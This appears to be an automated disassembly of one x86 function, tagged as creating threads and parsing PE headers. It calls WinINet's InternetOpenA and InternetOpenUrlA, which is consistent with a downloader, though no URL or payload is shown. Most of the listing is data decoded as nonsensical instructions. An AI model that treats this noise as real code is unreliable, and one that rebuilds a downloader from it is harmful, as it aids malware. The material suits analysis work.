Function at 0x422000
Capabilities:
Create thread
Parse pe header

Disassembly:
push ebp
mov eax, 0x104c
push edi
push esi
push ebx
call fcn.0040b400
sub esp, eax
mov edi, dword [esp + 0x1064]
push esi
jns 0x42006f
aas
and al, 0x53
inc esp
and eax, 0x6a777e2b
jle 0x42008c
dec edx
pop esi
push esi
jns 0x42007f
aas
push bx
pop edi
dec si
jl 0x42005d
ja 0x420074
pop esp
pop esp
dec esp
inc edx
push eax
and al, byte [eax + 0x66]
push ebx
pop edi
dec bx
je 0x4200bf
inc esi
imul edi, dword [ecx], 0x60613a30
push esi
cmp al, 0x34
dec dx
pop esp
dec ebx
je 0x4200cf
inc esi
das
dec ecx
and ah, byte [edi + 0x55]
jnp 0x4200b7
jnp 0x4200cb
daa
bound eax, qword cs:[esi + 0x3f]
push edx
bound ebp, qword [edi]
dec ecx
and ah, byte [edi + 0x77]
dec edi
add byte [ebx + 0x51], ch
dec edx
sub eax, 0x27357567
jne 0x4200a6
daa
add byte [eax], al
cmp edi, dword [ebx]
push eax
ja 0x4200c8
add byte [ebx + 0x70], ch
inc ebx
arpl word [esi + esi + 0x73], di
xor al, 0x5a
jae 0x4200b6
pop edx
inc ebx
dec esp
xor eax, 0x2f732b31
jo 0x4200d0
inc ebx
arpl word [esi + esi + 0x44], di
jo 0x4200bf
pushal
inc edi
pop eax
jp 0x4200cd
aaa
jp 0x4200dc
pop ebx
push 0x54
inc ebp
inc esp
jo 0x4200cf
push edi
push ebx
xor ebp, dword [edi + 0x55]
outsd dx, dword [esi]
push ebp
and dword [esi + 0x3e], eax
pop edx
jb 0x420126
push ebx
jl 0x420123
push esi
imul edx, dword [edi + 0x53], 0x576f33
pushal
inc ecx
outsd dx, dword [esi]
push edi
add byte [eax + 0x41], ah
add byte [esp + edi + 0x77], dh
add byte [ebp + 0x33], dh
dec eax
bound esp, qword [ebx + 0x4e]
ja 0x42011f
add byte [eax + 0x41], ah
inc ebx
push 0x69
sub al, byte [eax]
imul ebp, dword [edx], 0x687e2e00
add byte [esi], ch
jle 0x42013b
jle 0x42013b
add byte [eax], al
push edi
xor al, 0x24
push edx
inc esi
add byte [ebx + 0x6a], al
imul ebp, dword [edx], 0x3e587e5b
aas
push 0x69
sub bl, byte [ebx + 0x7e]
pop eax
aas
insb byte es:[edi], dx
jl 0x420153
je 0x42011e
cmp byte [eax], al
pushaw
jbe 0x42014b
jle 0x42014a
dec eax
push edx
inc ebx
jge 0x42013f
pop ecx
sub al, 0x3f
and bh, byte [esi + esi]
push cx
dec eax
dec eax
push edx
inc ebx
xor eax, 0x352a766f
push edi
and dword [edi + 0x55], eax
add byte [eax], al
pop ebx
add byte [edi + 0x26], bl
sub al, 0x35
outsd dx, dword [esi]
jbe 0x420145
das
inc ebx
jp 0x42017d
pop esi
inc ebx
add byte [esi + 0x6a], cl
js 0x420178
add byte [eax + 0x66], dl
insb byte es:[di], dx
das
inc ebx
jp 0x42018d
je 0x42018f
cmp eax, 0x49537531
pop esi
sub byte [ebx + 0x76], bh
jo 0x42019a
jl 0x42013f
je 0x42019f
cmp eax, 0x2131
cmp esp, dword [ebp + 0x62]
das
add byte [ebx], bh
bound ebp, qword gs:[edi]
popal
outsb dx, byte [esi]
sub ecx, dword [edx + 0x67]
add byte [ebp], ah
cmp ah, byte [ecx]
add byte [eax], al
cmp ecx, dword [ebx + 0x2f]
and dword [eax], eax
add byte [ebx], bh
dec ebx
das
dec eax
sub edi, dword [eax + 0x53]
inc ecx
jp 0x42019d
jp 0x4201b3
push esi
jno 0x420165
inc esp
inc eax
dec ebx
das
dec eax
sub ebp, dword [edx]
sub al, 0x3c
jne 0x420171
and eax, 0x4f7b46
inc edi
add byte [edi], dl
imul ebp, dword [edx], 0x32703c2c
push edi
add byte [ecx + 0x6a], ch
add byte [esp + edi], ch
sub al, 0x3c
jo 0x4201b3
push edi
xor bh, byte [ecx]
pop ecx
dec eax
push 0x4e4e0027
add byte [esi + 0x7e], cl
add byte [eax + 0x32], dh
jle 0x42018f
jo 0x4201c3
push edi
xor bh, byte [ebx + 0x55]
add byte [ebp + ecx*2 + 0x6f], ch
sub dword [ebp], esp
aaa
add byte gs:[edi], dh
jbe 0x42021b
jbe 0x42021b
js 0x420219
jnp 0x4201fa
add byte [edx + esi + 0x7b], ch
inc edi
push 0x33
cmp byte [esi + 0x52], cl
aaa
inc ecx
imul ecx, dword [eax + 0x6e], 0x79
imul esi, dword fs:[edx], 0x2b6a477b
outsb dx, byte [esi]
jns 0x42021a
imul esi, dword [edx], 0x2b6a477b
pop ebp
pop esp
outsd dx, dword [esi]
push 0x54523a22
push esp
pop edx
and esi, dword [edx + 0x7c]
dec edi
je 0x420243
sub ebx, dword [ebp + 0x5c]
outsd dx, dword [esi]
pop esp
push esp
dec ebx
sub eax, 0x2b294e67
and dh, byte [ebp + 0x66]
add byte [ebx], dh
jae 0x420218
pop esp
push esp
dec ebx
sub eax, 0x5e663a37
dec ebp
dec edi
push ebp
imul ebp, dword [esi], 0x25
imul esp, dword [ecx + 0x23], 0x375d7c3e
cmp ah, byte [esi + 0x5e]
push ecx
push 0x51007c33
jl 0x4201fc
push ecx
jb 0x42026a
add byte [ebx + 0x3e], cl
add byte [edi*2 + 0x68517660], ch
xor edi, dword [edx + edx*2 + 0x49]
push 0x57
inc ebx
dec esi
dec ebx
add byte [ebp + 0x71], bl
push 0x3d687c2b
push 0x4952723d
cmp eax, 0x6a495272
push edi
jb 0x42026e
push edx
dec ecx
push 0x57
sub bh, byte [eax]
push edx
add byte [edx + 0x4c], bl
and eax, 0x4b606e42
xor eax, 0x382a452c
push edx
add byte [eax + eax + 0x3f], cl
jno 0x420239
push esp
insb byte es:[edi], dx
jge 0x420282
pushal
add byte [ecx], ch
jo 0x420290
dec esp
add byte [edi], bh
cmp byte [edx + 0x59], dl
jno 0x42028f
pop eax
and ch, byte [ebx + 0x37]
push esi
push ebp
cmp eax, 0x385f7c7b
push edx
pop ecx
jno 0x4202d3
add byte [ecx + 0x23], cl
add byte [esi], ah
pop ebp
add byte [ebp + 0x52], dh
inc esi
xor byte fs:[eax + 0x38], bl
ja 0x42026d
cmp byte [edi], dh
dec ecx
and ebp, dword [edx + 0x59]
and al, 0x55
dec ebp
push eax
add byte [edi + 0x79], dl
pop esp
jns 0x4202ca
cmp dword [edi + 0x2f], ebp
push 0x59
and al, 0x55
push ebp
je 0x4202b6
inc ebp
jne 0x4202cf
add byte [0x253b627b], dh
popal
sub eax, 0x747a4f72
jb 0x4202e1
jp 0x420308
xor dword [ebp + 0x75], eax
add byte [edx], cl
pop edi
cmp dword [edi + 0x5c], esp
push edx
jne 0x42031c
inc eax
sub edi, dword [ecx + 0x73]
inc ecx
cmp eax, 0x5f004a00
add byte [si + 0x36], al
inc edi
push ebx
inc esp
jns 0x4202ed
jo 0x420307
cmp eax, 0x6b004a39
add byte [si + 0x36], al
jo 0x42032e
xor byte [edi], ch
ja 0x420338
jge 0x4202c9
pop edx
inc eax
popal
jne 0x4202f0
add byte [eax + esi*2 + 0x6c], ah
jo 0x42033e
xor byte [esi], ah
dec ecx
dec ecx
inc esi
push edx
jge 0x420323
add byte [eax], dh
sub edi, dword [ebx]
sub byte [ecx + 0x59], bl
dec ebx
push 0x52464926
jle 0x420348
pop edx
inc edi
jno 0x420334
push esi
push edi
ja 0x4202f1
add byte [ebx + ebp + 0x56], ah
inc ecx
sub edx, dword fs:[esi + 0x41]
dec ebx
sub al, 0x7e
pop edi
pop edx
inc edi
cmp ebx, dword [ebx + 0x5d]
and al, 0x52
and bh, byte [edx + ebp + 0x54]
sub ecx, dword [eax + eax]
add byte [eax + 0x45], bh
js 0x42034f
dec ecx
cmp ebx, dword [ebx + 0x5d]
and al, 0x5a
push ebx
add byte [ebp + 0x5c], al
xor al, 0x6e
jns 0x420357
dec esi
push edi
insb byte es:[edi], dx
pop ebp
xor al, 0x62
pop edx
push ebx
add byte [ebp + 0x76], al
insb byte es:[edi], dx
jbe 0x420391
add byte [esi + 0x24], bh
inc edi
insb byte es:[edi], dx
xor al, byte [eax]
dec ecx
imul eax, dword [eax], 0x2959233a
add byte [edx], bh
and ebx, dword [ecx + 0x29]
jbe 0x4203a1
insb byte es:[edi], dx
add byte [esi + 0x78], bh
pop esp
and al, 0x63
add byte [edx + 0x79], bl
sub byte [ebx + 0x47], ch
push edx
push esp
inc edi
push eax
add byte [eax + 0x5c], bh
pop esp
and al, 0x63
add byte [eax + eax + 0x30], al
and ah, byte [ebx + 0x4a]
xor al, byte [eax]
das
inc ebx
pop ecx
add byte [edx + 0x27], cl
add byte [eax], al
inc esp
add byte [eax], dh
inc esi
outsb dx, byte [esi]
push ebx
jp 0x4203bf
jl 0x42038d
xor byte [esi + 0x5c], dl
push esp
and al, 0x3a
pop eax
and al, 0x22
inc esi
outsb dx, byte [esi]
push ebx
jp 0x4203e3
push 0x282d6c5a
pop ecx
arpl word [esp + edx*2 + 0x79], ax
and eax, 0x686f6f21
pop edx
insb byte es:[edi], dx
add byte [eax], al
inc esi
push 0x69
pop esp
pop esp
outsb dx, byte [esi]
outsd dx, dword [esi]
cmp ch, byte [ecx]
pop esp
and dword [edx + 0x3d], ecx
arpl word [eax], ax
add byte [esi + 0x6a], al
inc esi
sub dword [ecx + 0x4a], ebx
cmp eax, 0x46000063
push 0x46
dec esp
and al, 0
push ebp
imul ebp, dword [eax], 0x50727854
sub byte [eax + edi*2 + 0x72], dl
push eax
dec ecx
inc ecx
pop ecx
jnp 0x4203ab
inc esi
dec esp
and al, 0
xor eax, 0x3b65302d
inc edi
add byte [ebp + 0x3e], dh
pop ebx
xor dword [eax + 0x7c], ebx
cmp ebp, dword [esi]
xor eax, 0x4f65302d
ja 0x420409
sub dword [ebx + 0x50], esi
push 0x57
cmp al, 0x5f
dec dx
dec esp
push ebp
dec edi
ja 0x420419
sub dword [ebp + 0x3c], ecx
pop ebx
pop edi
and dword [0x2329414b], esi
add byte [edx + ecx*2 + 0x52], ch
dec edx
push edx
push edi
jbe 0x420435
cmp al, 0x5b
pop edi
pop esp
pop ecx
add byte [eax + 0x38], al
sub al, 0x67
xor al, 0x3b
xor edi, dword [ecx + 0x53]
inc ebx
jbe 0x42042c
inc ecx
pop esp
pop ecx
add byte [eax - 0x39], al
inc esp
and al, 0x10
add byte [eax], al
add byte [eax], al
mov dword [esp + 0xc], 0
and al, 0xc
add byte [eax], al
add byte [eax], al
mov dword [esp + 8], 0
mov dword [esp + 4], 1
and al, 4
add dword [eax], eax
add byte [eax], al
mov dword [esp], str.21312412asd
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
mov esi, eax
test eax, eax
je 0x42189a
popal
adc al, 0
add byte [eax], al
jle 0x4204b3
add byte [esi], ah
jle 0x4204b3
outsd dx, dword [esi]
outsb dx, byte [esi]
dec ebp
add byte [ebp + 0x74], bl
jo 0x420482
dec esi
and dword [edx], edi
dec ebx
add byte [esi], ah
jle 0x4204c3
bound ebp, qword cs:[eax + 0x7b]
das
xor byte [eax + 0x48], ah
pop ebp
sub eax, 0x23682872
cmp esi, dword [esi + ebp + 0x62]
push 0x70603d7b
inc esi
popal
aaa
jns 0x4204a1
jge 0x4204e0
jle 0x4204e5
inc esp
inc edi
push esp
cmp al, 0x3d
pushal
jo 0x4204bb
cmp eax, dword [eax]
cmp eax, 0x4d642b79
imul edx, dword [ebp + ecx*2 + 0x55], 0x39
jne 0x4204e8
add byte fs:[ebx], bh
add byte fs:[ebx], bh
add byte [0x40762e79], bh
pop edx
inc esi
xor byte [eax + eax], dl
arpl word [ebp + 0x5f], di
jns 0x4204f1
pop ecx
jbe 0x4204dc
pop esi
popal
push 0x55
xor dword [edi], esp
cmp bh, byte [edi]
jo 0x420500
ja 0x420521
dec esi
xor cl, byte [esp + ebp*2 + 0x5e]
popal
push 0x55
aaa
add byte [edx + 0x28], ch
push 0x28
xor si, word es:[bx + di]
insd dword es:[edi], dx
xor al, 0x3c
outsb dx, byte [esi]
add byte [0x6a00377e], ch
sub byte [ecx], dh
sub dword [ebp + 0x28], esi
push 0x28
xor dword [ecx], ebp
jne 0x4204f1
pushal
and dword [eax], eax
dec ebp
jl 0x42051b
and cl, byte [eax + 0x5a]
sub dh, byte [bx + di]
sub dword [ebp + 0x28], esi
cmp dword [edx], ebp
dec esi
imul esp, dword [ecx], 0x4c
imul edx, dword [ebx], 0
push ebx
add byte [eax], al
add byte [eax], ch
xor cl, byte [ebp + 0x37]
add byte [edx], dh
dec ebp
aaa
cmp dword [edx], ebp
dec esi
imul ebp, dword [ecx + 0x3b], 0x40
sub ah, byte [ebx]
pop ebp
push ebx
and ebx, dword [ebp + 0x53]
dec ebx
outsd dx, dword [esi]
xor al, byte [esi + 0x52]
outsd dx, dword [esi]
pop ebp
add byte [edi + 0x69], dh
cmp eax, dword [eax + 0x2a]
jno 0x420554
sub dh, byte [ecx + 0x51]
add byte [eax + 0x79], ch
sub eax, 0x413f2938
and dword [0x60503a5c], ebp
jno 0x420564
add byte [eax + 0x2e], ch
dec esi
pop ebx
dec eax
add byte [ecx + 0x45], bh
inc ebp
dec eax
dec ecx
pop ebp
outsb dx, byte [esi]
outsb dx, byte [esi]
jb 0x420570
add byte [0x485b4e2e], ch
sub dword [ebp], esi
pop eax
jno 0x42056f
push edx
inc ebx
popal
insb byte es:[edi], dx
aas
dec ecx
and dh, byte [ebp + 0x53]
sub eax, 0x58007529
jge 0x420594
jno 0x4205bf
das
pop ebx
dec eax
add byte [eax + 0x4c], ah
jne 0x4205a7
jbe 0x420590
and eax, 0x71557d23
jle 0x420575
aas
add byte [ecx], ch
jp 0x4205a7
imul eax, dword [eax], 0x3f004f7a
add byte [edi], bh
dec edi
cmp dh, byte [ecx]
dec ecx
inc edi
xor eax, 0x3f2322
imul esi, dword [ecx], 0x633b7a
inc edx
jle 0x420596
push edx
push edx
jbe 0x4205a2
cmp byte [esi + 0x22], dl
xor dword [edx + 0x3b], edi
arpl word [esi + 0x4f], bp
insd dword es:[edi], dx
sub al, 0x3b
push 0x37
pop edi
dec edx
dec edx
pop ebp
xor eax, 0x4f6e005e
insd dword es:[edi], dx
and ax, 0x2741
insd dword es:[edi], dx
push 0x5e7d4f43
jge 0x4205f4
aaa
push esi
xor esi, dword [ebx]
push ebx
push edi
add byte [0x516d2741], ah
pop edi
cmp esp, dword [ebx]
imul esp, dword [edi + 0x72], 0x4f
jb 0x4205f8
insb byte es:[edi], dx
add byte [esi + 0x6a], al
jp 0x42060f
insb byte es:[edi], dx
push 0x51
pop edi
cmp esp, dword [ebx]
pop ebx
dec ecx
popal
and al, 0x47
jns 0x4205bc
aaa
js 0x42063e
jle 0x420617
push esi
popal
push ecx
outsd dx, dword [esi]
outsb dx, byte [esi]
pop ebx
dec ecx
popal
and al, 0x22
sub ebx, dword [eax + 0x28]
pop esp
add byte cs:[edi + 0x3d], dh
jbe 0x4205fa
js 0x42060d
dec ebx
push esi
and ch, byte [ebx]
pop eax
sub byte [ecx], cl
jns 0x420609
push ebx
arpl word [ebp], dx
push ebx
dec ebp
add byte [ebp + 0x54], dl
jns 0x420625
add byte [ecx], cl
jns 0x420619
xor al, 0x47
inc ebx
push edi
jge 0x4205f7
sub eax, 0x22353c2d
pop esi
sub eax, 0x5e22353c
xor eax, 0x4c3c5e22
cmp al, 0x4c
add byte [ebx], ch
xor al, 0x47
inc ebx
push edi
pushal
and al, 0x70
dec ebp
push edx
and eax, 0x3531394c
xor dword [0x3873635f], esi
pop edi
arpl word [ebx + 0x38], si
jge 0x420615
pushal
and al, 0x70
dec ebp
jo 0x420666
outsd dx, dword [esi]
add byte [edx], dh
cmp al, 0x6b
sub dh, byte [0x3221506c]
jl 0x42064e
sub byte [ebx], al
cmp ebp, dword [edi]
xor bh, byte [edi + ebp]
inc ebx
add byte [ebx], bh
outsd dx, dword [esi]
add byte [edx], dh
cmp al, 0x2f
xor dword [0x3f2c5938], esi
jno 0x4206af
jno 0x42067f
add byte [eax + 0x3b], al
dec ebx
das
xor dword [0x6e002838], esi
das
pop edx
add byte [edi], ch
add byte [bp + 0x34], ch
dec edi
jns 0x4206a8
dec ecx
sub byte [eax], al
outsb dx, byte [esi]
das
inc edx
inc edx
aaa
jno 0x420699
add byte [edi], dh
xor dword [edi + 0x38], ebx
insd dword es:[edi], dx
pop edx
cmp al, 0x5a
je 0x4206a8
inc edx
aaa
jno 0x42069d
jl 0x42066c
add byte [esi + 0x52], cl
push ebp
dec esi
sub ebp, dword [eax + 0x4a]
bound eax, qword [eax]
sub dword [eax], eax
xor di, word [eax + eax]
ja 0x4206ce
aas
add byte [ebx], ah
push 0x32
inc ebx
dec ebx
dec edx
pop esp
dec esi
add byte [edx + 0x4b], bh
push ebx
ja 0x4206de
aas
add byte [ecx + 0x57], bl
jo 0x4206f5
cmp eax, 0x4b78243c
dec ebx
inc ebx
je 0x4206c5
inc ecx
inc ebp
add byte [edx + 0x59], al
push edi
jo 0x420705
push edx
add byte [ebp + 0x25], bh
jge 0x4206cf
dec esp
pop ecx
dec ecx
cmp al, byte [eax]
push esp
and bh, byte [eax + eax + 0x33]
add byte [edx + 0x7c], dl
add byte [ebx], dh
push edx
add byte [ebp + 0x49], bh
push ecx
xor byte [edi + 0x35], ch
add byte [ebp + 0x33], bh
xor eax, dword [eax]
das
jns 0x4206c6
add byte [eax], al
inc esp
je 0x420713
add byte [esp + esi*2 + 0x49], al
push ecx
xor byte [edi + 0x4b], ch
jb 0x42074e
jle 0x42072e
pop ebp
sub eax, 0x7e464558
popal
inc ebp
add byte [edx + 0x48], dl
add byte [ebx + 0x4b], cl
jb 0x42075e
pop ebp
push 0x54
jp 0x4206e5
jno 0x420744
push 0x5e616058
add byte [edi + 0x6f], cl
jno 0x420761
push 0x54
jp 0x4206f5
inc ebx
aaa
inc ecx
push ebx
push edi
cmp dword ss:[eax], eax
das
jae 0x420777
pop edi
dec ebp
jno 0x420744
inc ebx
aaa
inc ecx
push esp
inc eax
push esi
cmp bl, byte [ebp + 0x65]
jne 0x420711
jne 0x420785
pop eax
je 0x42077a
sub al, 0x4a
jb 0x42076e
inc eax
push esi
cmp al, byte [eax]
jl 0x420777
arpl word [edx + 0x49], sp
sub edi, dword [0x6e710057]
inc eax
jnp 0x42079a
dec ebx
add byte [edi + edx*2 + 0x63], bh
popal
add byte [edx], ah
jnp 0x420795
jl 0x420787
arpl word [ecx], sp
and bh, byte [ebx + 0x5f]
imul ecx, dword [ebp + 0x28], 0x5d
add byte [edi], dh
inc eax
bound ecx, qword [ebx + 0x62]
pop ebp
popal
add byte [edx], ah
jnp 0x420789
pop ebx
cmp dword [eax], eax
and ebp, dword [esi]
jp 0x42077a
add byte [esi + 0x66], ch
jno 0x420783
pop esi
inc ebx
pop ebx
cmp dword [edx], esi
push edi
sub al, 0x78
add byte [esi + 0x4c], dh
jbe 0x4207ac
push ebp
jnp 0x420795
cmp dword [esi + ebp], esp
bound esp, qword [ecx]
jno 0x42079c
push edi
sub al, 0x78
add byte [ebx + 0x25], cl
push ecx
pop eax
inc ebp
inc edi
dec ebx
and eax, 0x47455851
dec eax
push ecx
popal
dec esi
xor dword [ebp + 0x79], ebp
imul esi, dword [eax + eax + 0x4b], 0x255125
jns 0x4207e5
je 0x42077e
dec ebx
and eax, 0x3e002551
jl 0x4207da
jl 0x4207da
push esp
push 0x76
daa
jbe 0x4207b0
and dword [ecx + 0x60], esi
ja 0x4207c3
outsd dx, dword [esi]
jb 0x4207b7
add byte [esi], bh
jl 0x4207b8
and dh, byte [ebp + 0x6d]
jne 0x420805
sub al, 0x55
dec edx
add byte [edi], bh
aas
inc edx
push 0x25003f00
jl 0x420812
and dh, byte [ebp + 0x6d]
sub al, 0x30
add byte [eax], al
add byte [edx + 0x34], bl
jl 0x4207d6
and eax, 0x733e3a2e
jle 0x4207e3
cmp bh, byte cs:[esi]
jae 0x42081a
jle 0x4207e3
jle 0x4207e3
sub dh, byte [eax]
add byte [eax], al
add byte [ecx], dh
aas
xor byte [eax], al
add byte [eax], al
xor dword [edi], edi
add byte [ebx], ch
dec esi
and dword [ecx + 0x4e], eax
add byte [eax], al
jbe 0x42081c
push esi
and dh, byte [ecx]
aas
add byte [ebx + 0x7e], ch
add byte [ecx + 0x28], al
outsd dx, dword [esi]
popal
cmp dword [eax], eax
das
pop ecx
push eax
popal
je 0x420845
dec eax
jle 0x4207e3
inc ecx
sub byte [edi + 0x3b], ah
push esi
sub eax, dword [ebp + 0x4a]
cmp edx, dword [bp + 0x2b]
inc ebp
dec edx
pushal
pop esp
popal
jp 0x420860
dec esp
push 0x50
jo 0x42085d
cmp edx, dword [esi + 0x2b]
cmp bl, byte [ecx]
add byte [ebp + 0x39], ch
dec ecx
inc ebp
xor eax, dword [ebx]
daa
outsb dx, byte [esi]
add byte [edi], bh
pop esp
cmp bl, byte [ecx]
add byte [edx], ah
xor al, 0x2f
insd dword es:[edi], dx
and esi, dword [ecx]
jns 0x42083a
inc ebp
ja 0x420866
jns 0x42087f
xor byte fs:[ecx + 0x24], dh
xor byte [ecx + 0x24], dh
jno 0x420842
and dh, byte [edi + ebp]
mov eax, dword [esp + 0x1060]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
and al, 0xc
add byte [eax], al
add byte [eax], al
mov dword [esp + 8], 0
and al, 8
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx - 0x76fbdbbc], cl
xor al, 0x24
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
sub esp, 0x18
mov dword [esp + 0x2c], eax
test eax, eax
je 0x4218a7
ror byte [edi], 0x84
inc ebx
adc byte [eax], al
add byte [eax], al
dec ecx
add byte [ecx + 0x34], cl
and al, 0x3d
xor al, 0x66
and al, 0x3d
jge 0x4208e4
jb 0x42086e
sub byte [eax], al
inc ebp
push esi
dec edi
jle 0x420875
dec ecx
xor al, 0x66
pop esi
daa
cmp eax, dword [eax]
bound esi, qword [eax]
insd dword es:[edi], dx
xor eax, 0x4f264964
push eax
pop esi
jp 0x420903
jle 0x4208cb
imul esi, dword [edx + ebp], 0x28
inc edi
jnp 0x4208ba
jp 0x4208ba
jae 0x4208d0
cmp bh, byte [edx + 0x75]
jle 0x4208db
jb 0x4208eb
add byte [eax], al
add byte cs:[ecx + 0x29], ch
cmp eax, 0x556c236c
cmp esi, dword [ebx]
jb 0x4208fb
add byte [ecx], bh
pop esi
add byte [edx + 0x61], dh
push 0x292d7100
jo 0x42092a
add byte [ecx + 0x2d], dh
sub dword [eax + 0x6a], esi
xor al, 0x56
sub byte [edx + 0x39], ch
pop esi
add byte [edx + 0x5a], dh
pop eax
daa
jp 0x420941
sub al, 0x35
sub byte [ecx + 0x4e], dl
push ecx
dec esi
and eax, 0x766c3700
pop edx
pop eax
daa
jp 0x420918
add byte [edx], ch
dec edx
daa
cmp byte [ebx + 0x2c], ah
inc eax
and al, 0x59
ja 0x420962
pop ebx
push ecx
ja 0x420928
add byte [edx], ch
dec edx
cmp ecx, dword [edi + 0x58]
add byte fs:[eax*2 + 0x275a616d], ah
push ebp
xor eax, 0x3b7b3600
dec edi
pop eax
inc edx
inc esi
inc esp
popal
pop edi
sub dword [esi + 0x6b], ecx
outsd dx, dword [esi]
popal
add byte [eax], al
inc esi
das
insb byte es:[edi], dx
inc edx
inc esi
inc esp
popal
add byte [esi + 0x3e], dl
jge 0x420988
aaa
je 0x420979
push 0x2b
insd dword es:[edi], dx
pop ebp
push ecx
bound ebp, qword [ebp]
push esi
add byte [esi + 0x3e], dl
jge 0x42099d
jge 0x42099d
jb 0x42098a
dec eax
add byte [ebx], dl
pop eax
jne 0x42099a
jae 0x420975
sub byte [ecx + 0x70], ch
jb 0x42099a
dec eax
and dword fs:[ecx + 0x35], esi
and dword fs:[ecx + 0x35], esi
sub al, 0x34
push sp
insb byte es:[edi], dx
dec edi
push 0x74
das
xor eax, 0x21646452
jno 0x420995
add byte [edi + 0x37], bl
imul edi, dword [ebx], 0x5e
imul edi, dword [edx], 0x71715b2a
add byte [ebx + 0x6e], dh
jae 0x4209d2
inc eax
add byte [edi + 0x37], bl
imul esi, dword [ecx + 0x3b], 0x7a3c3824
popal
jns 0x4209c2
jge 0x4209b2
pop edx
imul edi, dword [edx], 0x25
imul esi, dword [ecx + 0x3b], 0x603d2224
pop edx
add byte [ebp + 0x24], cl
xor byte [eax + 0x3c], bl
inc ebx
jno 0x4209b6
and al, 0x22
cmp eax, 0x4d005a60
and al, 0x30
pop eax
cmp al, 0x43
cmp al, byte [eax]
jl 0x4209f7
add byte [esp + ebp*2 + 0x2b], bh
and bh, byte [0x31375a60]
insb byte es:[edi], dx
sub esp, dword [edx]
cmp eax, 0x31375a60
add byte [edx], ch
inc ecx
inc ecx
pop edi
and al, 0x4a
push edx
popal
xor ebp, dword [edx + 0x51]
push 0x51
imul esi, dword [edi], 0x31
add byte [edx], ch
add byte [ebx + 0x2d], ah
outsb dx, byte [esi]
inc ebp
je 0x4209e1
jbe 0x4209e0
push 0x224b3456
daa
and ah, byte [edi]
add byte [ebx + 0x2d], ah
push esp
inc ecx
push 0x4d002a2e
arpl word [0x683e4154], bp
sub al, byte cs:[eax]
dec ebp
dec esp
add byte [eax], al
jge 0x4209ea
add byte [ebp + 0x25], bh
popal
pop edi
push esp
inc ecx
push 0x72002757
dec esp
xor dword [edx], edi
push esi
push 0x3e
jo 0x420a12
cmp dl, byte [esi + 0x6a]
jo 0x420a12
xor byte [eax], bh
dec edx
sub byte [edi + 0x27], dl
add byte [edx + 0x52], dh
push edx
cmp al, 0x75
ja 0x420a0e
add byte [esi + 0x70], dl
inc edx
and eax, 0x26296c7a
jp 0x420a58
sub dword [esi], esp
push edi
and dword [edx + 0x3c], edx
jne 0x420a6b
xor bh, byte [0x493b564f]
add byte [edx + 0x36], ch
push esi
cmp ecx, dword [ecx]
push 0x36
pop ebp
add byte [ecx + 0x5f], dh
push 0x67
jnp 0x420a37
cmp eax, 0x71564f
push edi
ja 0x420a63
sub byte [eax], al
imul esi, dword [ebx + 0x28], 0x42
add byte [ebx + 0x73], ch
sub byte [edx + 0x37], al
inc edx
aaa
dec edx
sub esp, dword [esi + 0x2d]
jno 0x420a1a
push edi
ja 0x420a52
sub al, 0x54
dec esp
jno 0x420a9b
sub al, 0x44
pop eax
sub al, 0x3f
add byte [edx], ah
add byte [ebx], ch
add byte [0x714c542c], dh
das
jns 0x420a6e
js 0x420a36
dec ecx
dec ecx
jp 0x420a63
outsd dx, dword [esi]
cmp al, 0x7b
dec edx
inc ebp
jno 0x420a71
jns 0x420a7e
insd dword es:[edi], dx
sub byte [edi + 0x31], cl
pop ebx
je 0x420a91
push ecx
add byte [ebp + 0x25], dl
jnp 0x420a75
jbe 0x420a98
inc ebp
inc ecx
insd dword es:[edi], dx
sub byte [edi + 0x31], cl
push edi
insd dword es:[edi], dx
xor ah, byte [esi + 0x6f]
dec edi
sub byte [esi], bh
and eax, 0x3f222b7b
and bh, byte [edi]
jbe 0x420aa0
add byte [edi + 0x6d], dl
xor ah, byte [esi + 0x5f]
pop di
push ebx
cmp al, 0x5f
inc eax
sub dword [ebx], ebp
add byte [ebx + 0x57], bl
push edi
outsd dx, dword [esi]
and eax, 0x787a7458
pop edi
push ebx
cmp al, 0x5f
xor ebp, dword [ecx + 0x7d]
push edi
cmp ah, byte [eax + edi*2]
add byte [ebx], bh
pop edx
add byte [edi], bh
add byte [edi + 0x65], cl
push edx
xor ebp, dword [ecx + 0x7d]
push edi
dec edi
xor dword [eax + 0x7a], eax
imul edi, dword [ebp + 0x57], 0x7a40314f
cmp byte [esp + ebp + 0x60], ah
pushal
add byte [ebx], dh
inc ebx
dec edx
add byte [edi + 0x78], cl
push ecx
dec edi
xor dword [eax + 0x7a], eax
dec ebx
je 0x420ad8
and al, 0x5f
jns 0x420aed
jns 0x420ae1
dec edx
cmp dl, byte [esi]
jge 0x420b2f
add byte [ebx + 0x74], cl
sub eax, 0x73382224
dec ecx
sub bh, byte [ecx]
dec eax
pop esp
dec esp
cmp byte [ecx + edi*2 + 0x2b], ah
add byte [edi + 0x25], dh
and bh, byte [eax]
jae 0x420b19
push di
add byte [ecx + esi + 0x26], ch
pop ebx
outsb dx, byte [esi]
xor ah, byte [esi + 0x65]
imul ebx, dword [esi + esi + 0x2c], 0x66
push edi
add byte [edx + 0x72], cl
push edi
jp 0x420b18
pop esp
imul ebp, dword [ebp], 0x7b
pop esp
add byte [ebx + 0x5c], bh
add byte [ebp + 0x77], bh
daa
dec edx
jb 0x420b4e
jae 0x420b46
pop esi
dec edi
cmp dword [ebx], ebp
jl 0x420b22
push ebx
imul esp, dword [edx], 0x56
jb 0x420b61
xor dh, byte [ebx + 0x4c]
pop esi
dec edi
ja 0x420b7f
jae 0x420b34
bound ebp, qword [esi]
je 0x420b73
and al, 0x7b
sub edi, dword [eax]
add byte [edx], ah
ja 0x420b8f
cmp byte [eax], al
and ah, byte [edi + 0x77]
jo 0x420b93
jae 0x420b98
ja 0x420b8a
push 0x2b3d764c
outsb dx, byte [esi]
and ecx, dword [edi + 0x3a]
cmp byte [ebx], ch
cmp dword [0x6877612a], edi
dec esp
jbe 0x420b62
sub ebp, dword [esi + 0x23]
dec edi
cmp bh, byte [eax]
sub edi, dword [ecx]
cmp eax, 0x6877612a
popal
ja 0x420b9a
dec esp
jbe 0x420b78
inc ebx
jne 0x420b58
dec ecx
push 0x68
dec esp
sub dword [ebx], ebp
sub byte [ecx + 0x39], ah
xor al, 0x5f
pushal
add byte [ebx + 0x75], al
and dword [ecx + 0x5b], ecx
dec esi
push eax
push esi
add byte [ebp + eax*2], al
sub dh, byte [ecx]
